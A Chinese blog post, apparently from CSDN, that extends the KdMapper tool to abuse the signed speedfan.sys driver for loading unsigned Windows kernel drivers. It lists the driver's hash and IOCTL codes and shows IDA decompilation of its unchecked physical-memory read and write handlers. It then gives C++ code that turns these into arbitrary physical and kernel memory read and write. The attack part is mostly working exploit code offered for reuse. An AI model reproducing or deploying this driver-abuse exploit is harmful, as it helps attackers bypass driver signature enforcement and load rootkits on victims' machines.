• KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)


    1.背景

      KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

    2.驱动信息

    驱动名称speedfan.sys 
    时间戳50DF59B7
    MD50FFE35F0B0CD5A324BBE22F02569AE3B
    文件版本2.3.11.0
    设备名称        \\.\SpeedFan
    读物理内存0x9C402428
    写物理内存0x9C40242C
    Windows 7支持
    Windows 10不支持
    Windows 11不支持

    3.IDA分析

    3.1 入口函数:

    1. NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    2. {
    3.         unsigned __int64 v2; // rax
    4.  
    5.         v2 = BugCheckParameter2;
    6.         if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
    7.         {
    8.                 v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
    9.                 if (!v2)
    10.                         v2 = 0x2B992DDFA232i64;
    11.                 BugCheckParameter2 = v2;
    12.         }
    13.         BugCheckParameter3 = ~v2;
    14.         return CreateDevice(DriverObject, RegistryPath);
    15. }

    3.2 创建设备和符号链接

    1. NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    2. {
    3.         NTSTATUS result; // eax
    4.         _UNICODE_STRING* v5; // rdi
    5.         size_t v6; // rax
    6.         __int64 v7; // r8
    7.         NTSTATUS v8; // eax
    8.         NTSTATUS v9; // edi
    9.         __int64 v10; // [rsp+20h] [rbp-38h]
    10.         struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF
    11.         PDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREF
    12.  
    13.         RtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);
    14.         result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
    15.         if (result >= 0)
    16.         {
    17.                 DeviceObject->Flags |= 4u;
    18.                 v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
    19.                 *(_DWORD*)&v5[2].Length = 0;
    20.                 *(_DWORD*)(&v5[2].MaximumLength + 1) = 0;
    21.                 LODWORD(v5[2].Buffer) = 0;
    22.                 v5[1].MaximumLength = RegistryPath->MaximumLength;
    23.                 v6 = RegistryPath->Length;
    24.                 v5[1].Buffer = &v5[7].Length;
    25.                 v5[1].Length = v6;
    26.                 memmove(&v5[7], RegistryPath->Buffer, v6);
    27.                 sub_175B4(v5);
    28.                 if ((int)sub_176C8(v5) >= 0)
    29.                 {
    30.                         v7 = *(unsigned int*)&v5[2].Length;
    31.                         if (_bittest((const int*)&v7, 0x1Du))
    32.                         {
    33.                                 LODWORD(v10) = v5[2].Buffer;
    34.                                 DbgPrint(
    35.                                         "SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n",
    36.                                         aX20311,
    37.                                         v7,
    38.                                         *(unsigned int*)(&v5[2].MaximumLength + 1),
    39.                                         v10);
    40.                         }
    41.                 }
    42.                 v8 = IoCreateSymbolicLink(v5, &DestinationString);
    43.                 v9 = v8;
    44.                 if (v8 >= 0 || v8 == 0xC0000035)
    45.                 {
    46.                         DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
    47.                         DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
    48.                         DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;
    49.                         DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
    50.                         result = 0;
    51.                 }
    52.                 else
    53.                 {
    54.                         IoDeleteDevice(DeviceObject);
    55.                         result = v9;
    56.                 }
    57.         }
    58.         return result;
    59. }

    3.3 DeviceIoControl

    1. __int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
    2. {
    3.         _IO_STACK_LOCATION* pIosp; // rax
    4.         int ntStatus; // ebx
    5.         PHYSICAL_ADDRESS* pMemoryInfo; // rdi
    6.         unsigned int nInputBufferLength; // er12
    7.         SIZE_T nOutputBufferLength; // r13
    8.         unsigned int nIoControlCode; // esi
    9.    
    10.         LONGLONG PhysicalAddressV31; // rbx
    11.         PVOID pMappedIoSpaceV32; // rax
    12.         void* pMappedIoSpaceV33; // r14
    13.         LONGLONG PhysicalAddressV34; // rbx
    14.         PVOID pMappedIoSpaceV35; // rax
    15.         void* pMappedIoSpaceV36; // r14
    16.  
    17.         void* Dst; // [rsp+20h] [rbp-D8h]
    18.  
    19.         LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]
    20.         LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]
    21.  
    22.         void* PhysicalAddress; // [rsp+100h] [rbp+8h]
    23.         IRP* Irp; // [rsp+108h] [rbp+10h]
    24.  
    25.         Irp = pIrp;
    26.         pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
    27.  
    28.         pIrp->IoStatus.Information = 0i64;
    29.         ntStatus = 0xC0000023;
    30.         pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;
    31.  
    32.         nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
    33.         nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
    34.         nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
    35.         ......
    36.                 switch (nIoControlCode)
    37.                 {
    38.                 case 0x9C402428:
    39.                         if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存
    40.                         {
    41.                                 PhysicalAddressV34 = pMemoryInfo->QuadPart;
    42.                                 PhysicalAddressV53 = pMemoryInfo->QuadPart;
    43.                                 pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
    44.                                 pMappedIoSpaceV36 = pMappedIoSpaceV35;
    45.                                 *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
    46.                                 if (pMappedIoSpaceV35)
    47.                                 {
    48.                                         if (_bittest(v55, 0xEu))
    49.                                         {
    50.                                                 LODWORD(v47) = nOutputBufferLength;
    51.                                                 DbgPrint(
    52.                                                         "IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
    53.                                                         v51,
    54.                                                         HIDWORD(PhysicalAddressV53),
    55.                                                         (unsigned int)PhysicalAddressV34,
    56.                                                         pMappedIoSpaceV35,
    57.                                                         v47);
    58.                                         }
    59.                                         memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
    60.                                         Irp->IoStatus.Information = nOutputBufferLength;
    61.                                         ntStatus = 0;
    62.                                         v59 = 0;
    63.                                         MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
    64.                                 }
    65.                                 else
    66.                                 {
    67.                                         ntStatus = 0xC0000088;
    68.                                 }
    69.                         }
    70.                         goto LABEL_145;
    71.                 case 0x9C40242C:
    72.                         if (nInputBufferLength > 8)         // 写物理内存
    73.                         {
    74.                                 PhysicalAddressV31 = pMemoryInfo->QuadPart;
    75.                                 PhysicalAddressV52 = pMemoryInfo->QuadPart;
    76.                                 nInputBufferLength -= 8;
    77.                                 pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
    78.                                 pMappedIoSpaceV33 = pMappedIoSpaceV32;
    79.                                 *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
    80.                                 if (pMappedIoSpaceV32)
    81.                                 {
    82.                                         if (_bittest(v55, 0xEu))
    83.                                         {
    84.                                                 LODWORD(v47) = nInputBufferLength;
    85.                                                 DbgPrint(
    86.                                                         "IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
    87.                                                         v51,
    88.                                                         HIDWORD(PhysicalAddressV52),
    89.                                                         (unsigned int)PhysicalAddressV31,
    90.                                                         pMappedIoSpaceV32,
    91.                                                         v47);
    92.                                         }
    93.                                         memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);
    94.                                         Irp->IoStatus.Information = 0i64;
    95.                                         ntStatus = 0;
    96.                                         v59 = 0;
    97.                                         MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
    98.                                 }
    99.                                 else
    100.                                 {
    101.                                         ntStatus = 0xC0000088;
    102.                                 }
    103.                         }
    104.                         goto LABEL_145;
    105.                 LABEL_145:
    106.                         if (ntStatus >= 0)
    107.                                 goto LABEL_149;
    108.                         v5 = v51;
    109.                         goto LABEL_147;
    110.                 }
    111.  
    112.         ......
    113.  
    114. LABEL_149:
    115.         Irp->IoStatus.Status = ntStatus;
    116.         IofCompleteRequest(Irp, 0);
    117.         return (unsigned int)ntStatus;
    118. }

            其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。

    3.4 使用注意事项

      实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

    4. 代码实现

    4.1 .h文件

    1. #ifndef RtlOffsetToPointer
    2. #define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
    3. #endif
    4.  
    5. #ifndef RtlPointerToOffset
    6. #define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
    7. #endif
    8.  
    9. #define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40
    10. #define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A
    11. #define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B
    12.  
    13. #define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \
    14.     CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
    15. #define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \
    16.     CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

    4.2 .c文件

    1. NTSTATUS sokno_driver::SuperCallDriverEx(
    2.         _In_ HANDLE DeviceHandle,
    3.         _In_ ULONG IoControlCode,
    4.         _In_ PVOID InputBuffer,
    5.         _In_ ULONG InputBufferLength,
    6.         _In_opt_ PVOID OutputBuffer,
    7.         _In_opt_ ULONG OutputBufferLength,
    8.         _Out_opt_ PIO_STATUS_BLOCK IoStatus)
    9. {
    10.         IO_STATUS_BLOCK ioStatus;
    11.  
    12.         NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
    13.                 NULL,
    14.                 NULL,
    15.                 NULL,
    16.                 &ioStatus,
    17.                 IoControlCode,
    18.                 InputBuffer,
    19.                 InputBufferLength,
    20.                 OutputBuffer,
    21.                 OutputBufferLength);
    22.  
    23.         if (ntStatus == STATUS_PENDING) {
    24.  
    25.                 ntStatus = NtWaitForSingleObject(DeviceHandle,
    26.                         FALSE,
    27.                         NULL);
    28.         }
    29.  
    30.         if (IoStatus)
    31.                 *IoStatus = ioStatus;
    32.  
    33.         return ntStatus;
    34. }
    35.  
    36. BOOL sokno_driver::SuperCallDriver(
    37.         _In_ HANDLE DeviceHandle,
    38.         _In_ ULONG IoControlCode,
    39.         _In_ PVOID InputBuffer,
    40.         _In_ ULONG InputBufferLength,
    41.         _In_opt_ PVOID OutputBuffer,
    42.         _In_opt_ ULONG OutputBufferLength)
    43. {
    44.         BOOL bResult;
    45.         IO_STATUS_BLOCK ioStatus;
    46.  
    47.         NTSTATUS ntStatus = SuperCallDriverEx(
    48.                 DeviceHandle,
    49.                 IoControlCode,
    50.                 InputBuffer,
    51.                 InputBufferLength,
    52.                 OutputBuffer,
    53.                 OutputBufferLength,
    54.                 &ioStatus);
    55.  
    56.         bResult = NT_SUCCESS(ntStatus);
    57.         SetLastError(RtlNtStatusToDosError(ntStatus));
    58.         return bResult;
    59. }
    60.  
    61. BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
    62.         _In_ HANDLE DeviceHandle,
    63.         _In_ ULONG_PTR PhysicalAddress,
    64.         _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
    65.         _In_ ULONG NumberOfBytes,
    66.         _In_ BOOLEAN DoWrite)
    67. {
    68.         BOOL bResult = FALSE;
    69.         DWORD dwError = ERROR_SUCCESS;
    70.  
    71.         __try {
    72.  
    73.                 if (DoWrite) 
    74.                 {
    75.                         PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
    76.                         if (pWriteInfo)
    77.                         {
    78.                                 pWriteInfo->QuadPart = PhysicalAddress;
    79.                                 RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);
    80.                                 bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
    81.                                 if (!bResult)
    82.                                 {
    83.                                         Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
    84.                                 }
    85.                         }
    86.                         else
    87.                         {
    88.                                 Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");
    89.                         }
    90.                 }
    91.                 else {
    92.                         PHYSICAL_ADDRESS address;
    93.                         address.QuadPart = PhysicalAddress;
    94.                         bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);
    95.                         if (!bResult)
    96.                         {
    97.                                 Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
    98.                         }
    99.                 }
    100.         }
    101.         __except (EXCEPTION_EXECUTE_HANDLER) {
    102.                 bResult = FALSE;
    103.                 dwError = GetExceptionCode();
    104.                 Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
    105.         }
    106.  
    107.  
    108.         SetLastError(dwError);
    109.         return bResult;
    110. }
    111.  
    112. BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
    113.         _In_ HANDLE DeviceHandle,
    114.         _In_ ULONG_PTR PhysicalAddress,
    115.         _In_ PVOID Buffer,
    116.         _In_ ULONG NumberOfBytes)
    117. {
    118.         return SuperReadWritePhysicalMemory(DeviceHandle,
    119.                 PhysicalAddress,
    120.                 Buffer,
    121.                 NumberOfBytes,
    122.                 FALSE);
    123. }
    124.  
    125. BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
    126.         _In_ HANDLE DeviceHandle,
    127.         _In_ ULONG_PTR PhysicalAddress,
    128.         _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
    129.         _In_ ULONG NumberOfBytes)
    130. {
    131.         return SuperReadWritePhysicalMemory(DeviceHandle,
    132.                 PhysicalAddress,
    133.                 Buffer,
    134.                 NumberOfBytes,
    135.                 TRUE);
    136. }
    137.  
    138. BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
    139.         _In_ HANDLE DeviceHandle,
    140.         _In_ ULONG_PTR Address,
    141.         _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
    142.         _In_ ULONG NumberOfBytes)
    143. {
    144.         BOOL bResult;
    145.         ULONG_PTR physicalAddress = 0;
    146.  
    147.         SetLastError(ERROR_SUCCESS);
    148.  
    149.         bResult = SuperVirtualToPhysical(DeviceHandle,
    150.                 Address,
    151.                 &physicalAddress);
    152.  
    153.         if (bResult) {
    154.  
    155.                 bResult = SuperReadWritePhysicalMemory(DeviceHandle,
    156.                         physicalAddress,
    157.                         Buffer,
    158.                         NumberOfBytes,
    159.                         TRUE);
    160.  
    161.         }
    162.  
    163.         return bResult;
    164. }
    165.  
    166. BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
    167.         _In_ HANDLE DeviceHandle,
    168.         _In_ ULONG_PTR Address,
    169.         _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
    170.         _In_ ULONG NumberOfBytes)
    171. {
    172.         BOOL bResult;
    173.         ULONG_PTR physicalAddress = 0;
    174.  
    175.         SetLastError(ERROR_SUCCESS);
    176.  
    177.         bResult = SuperVirtualToPhysical(DeviceHandle,
    178.                 Address,
    179.                 &physicalAddress);
    180.  
    181.         if (bResult) {
    182.  
    183.                 bResult = SuperReadWritePhysicalMemory(DeviceHandle,
    184.                         physicalAddress,
    185.                         Buffer,
    186.                         NumberOfBytes,
    187.                         FALSE);
    188.  
    189.         }
    190.  
    191.         return bResult;
    192. }

      其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

      同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

    5. 运行效果

      Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

    6.特别提示

      使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

  • 相关阅读:
    接雨水问题
    进阶高级,接口+接口自动化测试疑难解答,一篇带你策底打通...
    干货|Spring Cloud Stream 体系及原理介绍
    OGAI详解:AIStation调度平台如何实现大模型高效长时间持续训练
    树大总结(王道+红皮书)
    base_network
    分类预测 | MATLAB实现WOA-CNN-BiGRU-Attention数据分类预测(SE注意力机制)
    全球133种语言自动翻译mishop大米外贸商城系统
    深度优先搜索遍历与广度优先搜索遍历
    【uniapp】【微信小程序】wxml-to-canvas
  • 原文地址:https://blog.csdn.net/zhuting__xf/article/details/133763374